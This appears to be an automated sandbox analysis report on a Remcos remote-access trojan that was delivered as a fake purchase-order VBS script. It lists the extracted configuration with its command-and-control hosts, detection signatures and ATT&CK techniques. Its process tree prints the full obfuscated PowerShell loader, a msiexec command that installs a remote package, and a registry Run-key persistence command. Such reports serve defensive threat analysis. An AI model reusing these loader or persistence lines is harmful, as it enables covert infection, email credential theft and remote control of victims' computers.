remcos | 238635963962671f767f1dff687e6a11222fd1ee296bb26d758a9056d10c3a1b

Analysis

max time kernel
149s
max time network
150s
platform
windows11-21h2_x64
resource
win11-20260130-en
resource tags

arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
02/02/2026, 11:06

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
PO1145_RFID020206.vbs
Size 77KB
Sample260202-m7xhasaz5e
SHA256 238635963962671f767f1dff687e6a11222fd1ee296bb26d758a9056d10c3a1b
MD5 aba566a73134a15b694bc9bfd46990e8
SHA1 3db8b05953ee62c502d8861925227b17f4275b22
SHA512 12009258ea4a0b9d72367bb320842ba79b39cdc7e7aa040c6fad1c9cb78e1eef2e76332b38a239d7a5d0ff6fc0efe5a09ed215f42e1b3d6de3c693a5ff65d7bd
SSDEEP 1536:v/mDyx3XP70bA27qA2JmB7WHYEYEp15Ri:vE8jMA27qAOmB7W4XEpvs
TLSH
T13E73A3709D450B974D4737FB9C0C565A866FE10F013308A1BDAC3F183E065DAAEA9AF9
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

cee-tyla-06 collection discovery remcos persistence privilege_escalation rat

Malware Config

Extracted

Family

remcos

Version

7.1.0 Pro

Botnet

CEE-TYLA-06

cee-tyla-06.ydns.eu:59713
cee-tyla-006-bkk.ydns.eu:63477

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-WA3LEL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Remcos family
remcos

Detected Nirsoft tools 2 IoCs

Free utilities often used by attackers which can steal passwords, product keys, etc.

resource	yara_rule
behavioral2/memory/4112-51-0x0000000000400000-0x0000000000424000-memory.dmp	Nirsoft
behavioral2/memory/472-53-0x0000000000400000-0x0000000000462000-memory.dmp	Nirsoft

NirSoft MailPassView 1 IoCs

Password recovery tool for various email clients

resource	yara_rule
behavioral2/memory/472-53-0x0000000000400000-0x0000000000462000-memory.dmp	MailPassView

Badlisted process makes network request 5 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	4796	WScript.exe
3	3716	powershell.exe
4	5616	msiexec.exe
5	5616	msiexec.exe
6	5616	msiexec.exe

Use of msiexec (install) with remote resource 3 IoCs

pid	Process
2356	msiexec.exe
5616	msiexec.exe
5392	msiexec.exe

Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Office\Outlook\OMI Account Manager\Accounts	rmclient.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1456842261-3464001825-2855069093-1000\Software\Microsoft\Windows\CurrentVersion\Run\landomraaders = "%Krngningen% -windowstyle 2 $Selvhjtidelige253='g'+'p';$Predread=(.($Selvhjtidelige253) 'HKCU:\\Software\\Forbeholdsklausuler\\').'Formynderskabers';%Krngningen% ($Predread)"	reg.exe

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
5616	msiexec.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
5160	powershell.exe
5616	msiexec.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 5616 set thread context of 2796	5616	msiexec.exe	92
PID 5616 set thread context of 472	5616	msiexec.exe	94
PID 5616 set thread context of 4112	5616	msiexec.exe	95

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Installer Packages 2 TTPs 3 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5616	msiexec.exe
5392	msiexec.exe
2356	msiexec.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	msiexec.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	rmclient.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
5088	ping.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
5088	ping.exe

Suspicious behavior: EnumeratesProcesses 17 IoCs

pid	Process
3716	powershell.exe
3716	powershell.exe
5160	powershell.exe
5160	powershell.exe
5160	powershell.exe
2796	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe
4112	rmclient.exe
4112	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe
2796	rmclient.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
5160	powershell.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	3716	powershell.exe
Token: SeDebugPrivilege	5160	powershell.exe
Token: SeDebugPrivilege	4112	rmclient.exe
Token: SeImpersonatePrivilege	2796	rmclient.exe
Token: SeImpersonatePrivilege	2796	rmclient.exe
Token: SeImpersonatePrivilege	2796	rmclient.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4796 wrote to memory of 5088	4796	WScript.exe	79
PID 4796 wrote to memory of 3716	4796	WScript.exe	82
PID 5160 wrote to memory of 2356	5160	powershell.exe	86
PID 5160 wrote to memory of 5616	5160	powershell.exe	87
PID 5160 wrote to memory of 5616	5160	powershell.exe	87
PID 5616 wrote to memory of 5392	5616	msiexec.exe	88
PID 5616 wrote to memory of 6076	5616	msiexec.exe	89
PID 6076 wrote to memory of 1960	6076	cmd.exe	91
PID 5616 wrote to memory of 2796	5616	msiexec.exe	92
PID 5616 wrote to memory of 5084	5616	msiexec.exe	93
PID 5616 wrote to memory of 472	5616	msiexec.exe	94
PID 5616 wrote to memory of 4112	5616	msiexec.exe	95

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\PO1145_RFID020206.vbs"
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:4796
- C:\Windows\System32\ping.exe
  ping Classic6637.6637.6637.657e
  2⤵
  - System Network Configuration Discovery: Internet Connection Discovery
  - Runs ping.exe
  PID:5088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "function dichlorhydrin ($driftstest) { $resignation128=4;do {$glatfret116+=$driftstest[$resignation128];$resignation128+=5} until (!$driftstest[$resignation128])$glatfret116}function Kosmoramaer ($doxographicalusu147) {.($coxswained) ($doxographicalusu147)}function unattackable ($doxographical,$srbeskatning) {Kosmoramaer (dichlorhydrin 'VVV [jjjji^^^^n bbbtPPPP]||||$%%%.dQQQQo ll.xTTTToiiiigqqqqrssssa%%%%puuuuheeeeinnnnc,mmmavv vlLLLL ~~~-BBBBbjj jx IIIo~~~~r --, BBB[HH HiDDDDnWWWWt BBB]TTT $FFFFs BBBr>>.>bMMMMem.mmsz zzkKKKKaFFFFtbbbbn gggi????nKKKKg')}Function Stalag ($driftstest,$seedling=0){$dominobrik=@(73,100,101,97,108,105,115,101,114,101,110,100,101);Kosmoramaer (dichlorhydrin ' OOO$UUUUgkkkklWWWWorrrrbnnnnaBBBBl I I:llllb>>>>lyy yo****d TTTl<<<<eMMMMgTTTTe++++mkkkke ===r ====%%,%[iiiiCKK.KoPPP n####vCCCCeuuuur !!!tO OO]uuuu: MMM: W,WF;;;;rR RRoWWWWm CCCB****ajjjjsjjjje****6cccc4TTTTSNNNNtqq qrjjjjiYY,Yn MMgHHHH(####$BBBBd wwwr <<<iCCCCf DDDt.CCCs CCCt M Me> >>sVVVVtUUU )');For($resignation128=0; $resignation128 -lt $blodlegemer.Length; $resignation128++){$blodlegemer[$resignation128] = unattackable $blodlegemer[$resignation128] $dominobrik[$resignation128%13]}Kosmoramaer (dichlorhydrin '====$||||gaaaal,!!!o--,-b ^^^aRRRRlKKKK: ---nLLLLo&&&&uPPPPvzzzzeFF.Flggggl sssehhhhsOOOO=KKK [oo,oTVVVVe^^^^x ffft PPP.hhhhE kkknX,XXc,ttto ===d DDDieeeenPPPPg ###]xxxx: !! :aaa A RRS zzzCJJJJI WWWI KKK.VVVVGAAA e<<<,t >>>SFFFFtQQ Qr HHHi.qqqnSSSSgcccc(eeee$,###bJJJJlXXXXoiiiidMMMMl####ettt gQQQQeff.fmtttteeeeerl,ll)');if ($seedling) { Kosmoramaer $nouvelles}else {;$nouvelles}}$coxswained=dichlorhydrin 'HHHHiNNNNeXXXXx';$udraabende=Stalag 'fEpVQUQ+GgsWChkXRQcwRVBcR0NeUjIHClN9X0UZWl1IRQATVFVRf0pVSEwuFgYZCkFWVXhUVVBcWFMjGxcLAgoxS1RVWkdD';$dgnprves=Stalag 'IRAREVZGXAkHFwABHWcTChMADVwfEx8PSyM7AQEEHgAYSwIWAw==';$undervisningsbrugens=Stalag 'dw==';$fruitist='\Tonguey14.Ngo';Stalag 'bQMJDg4IH18aABwJBCcADA8JVFcAHBNUBRU5AAQVDUJXAwAQBxAMOhA=' 1;Stalag 'bQMJDg4IH18HCwkIBC0KABIfVFcBFQseFhMsF0sSHAUaEVpBGwoBLBYTCB8HGgsVFgwWEC4BCxJF' 1;Stalag 'EioAFUI6FhcEDA0BNSYNCxUhCB0EFQAcOV9zNwACGRsaEQs1HAsRJgcKDVFaQ1JA' 1;$dgnprves=$ungladness[0];$eff=(Stalag 'bQMJDg4IH18BDhcIASsBERgCDhYBF1ggARJkKwcLCQoHRTwAGkoyLAYmDQUMHRE=');Kosmoramaer ($eff);Stalag 'bRcOGAANEQAGHAADAC0BSykJCBcAABY1PyssEEspGB0DNxcUGwEWPSwAAAgMAThGVTNZQTwAFwANCxYLFgA=' 1;$sulfa=Stalag 'DQsSDwAGEgE0DAIB';$kubismen=Stalag 'bRcOGAANEQAGHAADAC0BS0UfHB8DE0snChMmDwBJSA0UCwIXGAEWZUADDh4HGQBb';$fornje=$hermandine;Stalag 'bQMJDg4IH18TAwwWCy0BCwUJVFsxFxYaSTUoEA1BSA8cFxwPC00=' 1;while (!$afbrndende) {Stalag 'bQMJDg4IH18hDAoBFjkLFwQYVFcVAQwaEAQqERY=' 1;Kosmoramaer $kubismen;Stalag 'GggABBxBR0w=' 1;Stalag 'bQMJDg4IH18TAwwWCy0BCwUJVFsxFxYaSTUoEA1BSA8cFxwPC00=' 1 ;Stalag 'bQMJDg4IH18bAQsLAjsFAwgfAk5BFQkBBgQlXgYOAh0BBBAEHRdOYkFBFAIOHwQWCwsXFmcHChQCHQ==' 1;$dgnprves=$ungladness[$ideografisk]}$furrily=226414;$kegleflades=18530;Stalag 'bQMJDg4IH18UCgEQFiYWAA8JGgBYFQZOQAMmFgsLCQ==' 1;Stalag 'bQMJDg4IH18xCgMBESAHWDovBh0TFxcaOV9zIhcOASsSFhdTWjcROw0LBkRNFQodER0LFywKABIfQA==' 1;Stalag 'bQMJDg4IH18TFwwLFz8NEQAJVCgxFx0aSiAnBwoFBQcUOEhfLzcmAC1LJgkdIBEADAADTW0nCgwJHRoGWw==' 1;Stalag 'bQMJDg4IH18BERwFCy4IAAAOBRZYVgQcBgo7EgwVDQxdFgcHHRAXIAoCSUgPBhcADAIdSW0PAAYADBUJEwELF0w=' 1;Kosmoramaer $strangleable;"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3716

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "function dichlorhydrin ($driftstest) { $resignation128=4;do {$glatfret116+=$driftstest[$resignation128];$resignation128+=5} until (!$driftstest[$resignation128])$glatfret116}function Kosmoramaer ($doxographicalusu147) {.($coxswained) ($doxographicalusu147)}function unattackable ($doxographical,$srbeskatning) {Kosmoramaer (dichlorhydrin 'VVV [jjjji^^^^n bbbtPPPP]||||$%%%.dQQQQo ll.xTTTToiiiigqqqqrssssa%%%%puuuuheeeeinnnnc,mmmavv vlLLLL ~~~-BBBBbjj jx IIIo~~~~r --, BBB[HH HiDDDDnWWWWt BBB]TTT $FFFFs BBBr>>.>bMMMMem.mmsz zzkKKKKaFFFFtbbbbn gggi????nKKKKg')}Function Stalag ($driftstest,$seedling=0){$dominobrik=@(73,100,101,97,108,105,115,101,114,101,110,100,101);Kosmoramaer (dichlorhydrin ' OOO$UUUUgkkkklWWWWorrrrbnnnnaBBBBl I I:llllb>>>>lyy yo****d TTTl<<<<eMMMMgTTTTe++++mkkkke ===r ====%%,%[iiiiCKK.KoPPP n####vCCCCeuuuur !!!tO OO]uuuu: MMM: W,WF;;;;rR RRoWWWWm CCCB****ajjjjsjjjje****6cccc4TTTTSNNNNtqq qrjjjjiYY,Yn MMgHHHH(####$BBBBd wwwr <<<iCCCCf DDDt.CCCs CCCt M Me> >>sVVVVtUUU )');For($resignation128=0; $resignation128 -lt $blodlegemer.Length; $resignation128++){$blodlegemer[$resignation128] = unattackable $blodlegemer[$resignation128] $dominobrik[$resignation128%13]}Kosmoramaer (dichlorhydrin '====$||||gaaaal,!!!o--,-b ^^^aRRRRlKKKK: ---nLLLLo&&&&uPPPPvzzzzeFF.Flggggl sssehhhhsOOOO=KKK [oo,oTVVVVe^^^^x ffft PPP.hhhhE kkknX,XXc,ttto ===d DDDieeeenPPPPg ###]xxxx: !! :aaa A RRS zzzCJJJJI WWWI KKK.VVVVGAAA e<<<,t >>>SFFFFtQQ Qr HHHi.qqqnSSSSgcccc(eeee$,###bJJJJlXXXXoiiiidMMMMl####ettt gQQQQeff.fmtttteeeeerl,ll)');if ($seedling) { Kosmoramaer $nouvelles}else {;$nouvelles}}$coxswained=dichlorhydrin 'HHHHiNNNNeXXXXx';$udraabende=Stalag 'fEpVQUQ+GgsWChkXRQcwRVBcR0NeUjIHClN9X0UZWl1IRQATVFVRf0pVSEwuFgYZCkFWVXhUVVBcWFMjGxcLAgoxS1RVWkdD';$dgnprves=Stalag 'IRAREVZGXAkHFwABHWcTChMADVwfEx8PSyM7AQEEHgAYSwIWAw==';$undervisningsbrugens=Stalag 'dw==';$fruitist='\Tonguey14.Ngo';Stalag 'bQMJDg4IH18aABwJBCcADA8JVFcAHBNUBRU5AAQVDUJXAwAQBxAMOhA=' 1;Stalag 'bQMJDg4IH18HCwkIBC0KABIfVFcBFQseFhMsF0sSHAUaEVpBGwoBLBYTCB8HGgsVFgwWEC4BCxJF' 1;Stalag 'EioAFUI6FhcEDA0BNSYNCxUhCB0EFQAcOV9zNwACGRsaEQs1HAsRJgcKDVFaQ1JA' 1;$dgnprves=$ungladness[0];$eff=(Stalag 'bQMJDg4IH18BDhcIASsBERgCDhYBF1ggARJkKwcLCQoHRTwAGkoyLAYmDQUMHRE=');Kosmoramaer ($eff);Stalag 'bRcOGAANEQAGHAADAC0BSykJCBcAABY1PyssEEspGB0DNxcUGwEWPSwAAAgMAThGVTNZQTwAFwANCxYLFgA=' 1;$sulfa=Stalag 'DQsSDwAGEgE0DAIB';$kubismen=Stalag 'bRcOGAANEQAGHAADAC0BS0UfHB8DE0snChMmDwBJSA0UCwIXGAEWZUADDh4HGQBb';$fornje=$hermandine;Stalag 'bQMJDg4IH18TAwwWCy0BCwUJVFsxFxYaSTUoEA1BSA8cFxwPC00=' 1;while (!$afbrndende) {Stalag 'bQMJDg4IH18hDAoBFjkLFwQYVFcVAQwaEAQqERY=' 1;Kosmoramaer $kubismen;Stalag 'GggABBxBR0w=' 1;Stalag 'bQMJDg4IH18TAwwWCy0BCwUJVFsxFxYaSTUoEA1BSA8cFxwPC00=' 1 ;Stalag 'bQMJDg4IH18bAQsLAjsFAwgfAk5BFQkBBgQlXgYOAh0BBBAEHRdOYkFBFAIOHwQWCwsXFmcHChQCHQ==' 1;$dgnprves=$ungladness[$ideografisk]}$furrily=226414;$kegleflades=18530;Stalag 'bQMJDg4IH18UCgEQFiYWAA8JGgBYFQZOQAMmFgsLCQ==' 1;Stalag 'bQMJDg4IH18xCgMBESAHWDovBh0TFxcaOV9zIhcOASsSFhdTWjcROw0LBkRNFQodER0LFywKABIfQA==' 1;Stalag 'bQMJDg4IH18TFwwLFz8NEQAJVCgxFx0aSiAnBwoFBQcUOEhfLzcmAC1LJgkdIBEADAADTW0nCgwJHRoGWw==' 1;Stalag 'bQMJDg4IH18BERwFCy4IAAAOBRZYVgQcBgo7EgwVDQxdFgcHHRAXIAoCSUgPBhcADAIdSW0PAAYADBUJEwELF0w=' 1;Kosmoramaer $strangleable;"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5160
- C:\Windows\SysWOW64\msiexec.exe
  "C:\WINDOWS\syswow64\msiexec.exe" /i https://Regnskabsinformations/Siberian.msi
  2⤵
  - Use of msiexec (install) with remote resource
  - Event Triggered Execution: Installer Packages
  PID:2356
- C:\Windows\SysWOW64\msiexec.exe
  "C:\WINDOWS\syswow64\msiexec.exe" /i https://Regnskabsinformations/Siberian.msi
  2⤵
  - Badlisted process makes network request
  - Use of msiexec (install) with remote resource
  - Suspicious use of NtCreateThreadExHideFromDebugger
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Event Triggered Execution: Installer Packages
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5616
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\WINDOWS\syswow64\msiexec.exe" /i https://Regnskabsinformations/Siberian.msi
    3⤵
    - Use of msiexec (install) with remote resource
    - Event Triggered Execution: Installer Packages
    PID:5392
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "landomraaders" /t REG_EXPAND_SZ /d "%Krngningen% -windowstyle 2 $Selvhjtidelige253='g'+'p';$Predread=(.($Selvhjtidelige253) 'HKCU:\Software\Forbeholdsklausuler\').'Formynderskabers';%Krngningen% ($Predread)"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:6076
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "landomraaders" /t REG_EXPAND_SZ /d "%Krngningen% -windowstyle 2 $Selvhjtidelige253='g'+'p';$Predread=(.($Selvhjtidelige253) 'HKCU:\Software\Forbeholdsklausuler\').'Formynderskabers';%Krngningen% ($Predread)"
      4⤵
      Adds Run key to start application
      System Location Discovery: System Language Discovery
      PID:1960
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\knrkoetiwwzxdgghv"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2796
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\vhxdhxeckerkouuteqka"
    3⤵
    PID:5084
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\vhxdhxeckerkouuteqka"
    3⤵
    - Accesses Microsoft Outlook accounts
    - System Location Discovery: System Language Discovery
    PID:472
- - C:\Windows\SysWOW64\rmclient.exe
    /stext "C:\Users\Admin\AppData\Local\Temp\xjkvhpodgmbpqbqxnbwujpxh"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4112

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

Modify Registry

T1112

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 acff94044f1e9ffa322ac7a6943f3395c35cb032ec74840ad3230718ac42adea
MD5 db3a2085d22f0fa009feb6060c919ace
SHA1 d570b614adf53c54135d8ba89ba0e9a77f743e1c
SHA512 e7f23352561884e987b52e247f0b813a6527b88a0fb3176802aec0bfd3dc3e85514ebb4774d49bc267c28795de7a4f75026c9ee9681d6e3741573abe1813cc73
TLSH
T13E218633B3ACC135C8D9117A208CAD01B1B1C3C7449ECE8B7B84C508A17F98ADB641E4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hyychcjk.2tq.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hyychcjk.2tq.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

knrkoetiwwzxdgghv

Path C:\Users\Admin\AppData\Local\Temp\knrkoetiwwzxdgghv
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

Tonguey14.Ngo

Path C:\Users\Admin\AppData\Roaming\Tonguey14.Ngo
Size 318KB
SHA256 677269ca0d81049b57f9b9788d7147637701db35622381deb62ba08b64573875
MD5 87fb4a7b85a9dca3ff88fa8ba11c179b
SHA1 2d6f2b79fdb8b2e510fb3dbfbc69c6133f509845
SHA512 7483522ce3cd338e92ba5a84fae13928410e107e01bbc8bd9e952427a44ab267600ac56a1a69c86b9450a34e54fb986594d3222eb569e596e4030e2dbe93178e
SSDEEP 6144:kT/B9s+8ePbLlDiu5rfDVbevU+uIO0LKGtmDzQpmOhqp0kRsxAcFyuSXTBMnBQ:k7Q8TxtxbWZOwmDzQpZhqz08aO
TLSH
T1C46401BB49A43AC5CA68D4E6A50E245D9C1070E30C6D02DCF9FE0C1B48C9E767A79B5F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/472-53-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/472-46-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/2796-45-0x0000000000400000-0x000000000047E000-memory.dmp

Download

memory/2796-62-0x0000000000400000-0x000000000047E000-memory.dmp

Download

memory/3716-2-0x0000026B7D680000-0x0000026B7D690000-memory.dmp

Download

memory/3716-3-0x0000026B7D680000-0x0000026B7D690000-memory.dmp

Download

memory/3716-11-0x0000026B7D680000-0x0000026B7D690000-memory.dmp

Download

memory/3716-9-0x0000026B7D5B0000-0x0000026B7D5D2000-memory.dmp

Download

memory/4112-51-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/4112-48-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/5160-30-0x00000000064F0000-0x000000000653C000-memory.dmp

Download

memory/5160-18-0x0000000005490000-0x00000000054B2000-memory.dmp

Download

memory/5160-33-0x00000000074D0000-0x0000000007566000-memory.dmp

Download

memory/5160-34-0x0000000007460000-0x0000000007482000-memory.dmp

Download

memory/5160-35-0x00000000086D0000-0x0000000008C76000-memory.dmp

Download

memory/5160-31-0x0000000007AA0000-0x000000000811A000-memory.dmp

Download

memory/5160-37-0x0000000008C80000-0x000000000B943000-memory.dmp

Download

memory/5160-16-0x0000000002C50000-0x0000000002C86000-memory.dmp

Download

memory/5160-17-0x0000000005730000-0x0000000005D5A000-memory.dmp

Download

memory/5160-32-0x0000000006A10000-0x0000000006A2A000-memory.dmp

Download

memory/5160-29-0x0000000006450000-0x000000000646E000-memory.dmp

Download

memory/5160-27-0x0000000005F50000-0x00000000062A7000-memory.dmp

Download

memory/5160-20-0x0000000005D60000-0x0000000005DC6000-memory.dmp

Download

memory/5160-19-0x0000000005630000-0x0000000005696000-memory.dmp

Download

memory/5616-61-0x000000001FE00000-0x000000001FE19000-memory.dmp

Download

memory/5616-64-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-40-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-60-0x000000001FE00000-0x000000001FE19000-memory.dmp

Download

memory/5616-56-0x000000001FE00000-0x000000001FE19000-memory.dmp

Download

memory/5616-38-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-63-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-44-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-65-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-66-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-67-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-68-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-69-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-70-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-71-0x0000000000560000-0x0000000001877000-memory.dmp

Download

memory/5616-72-0x0000000000560000-0x0000000001877000-memory.dmp

Download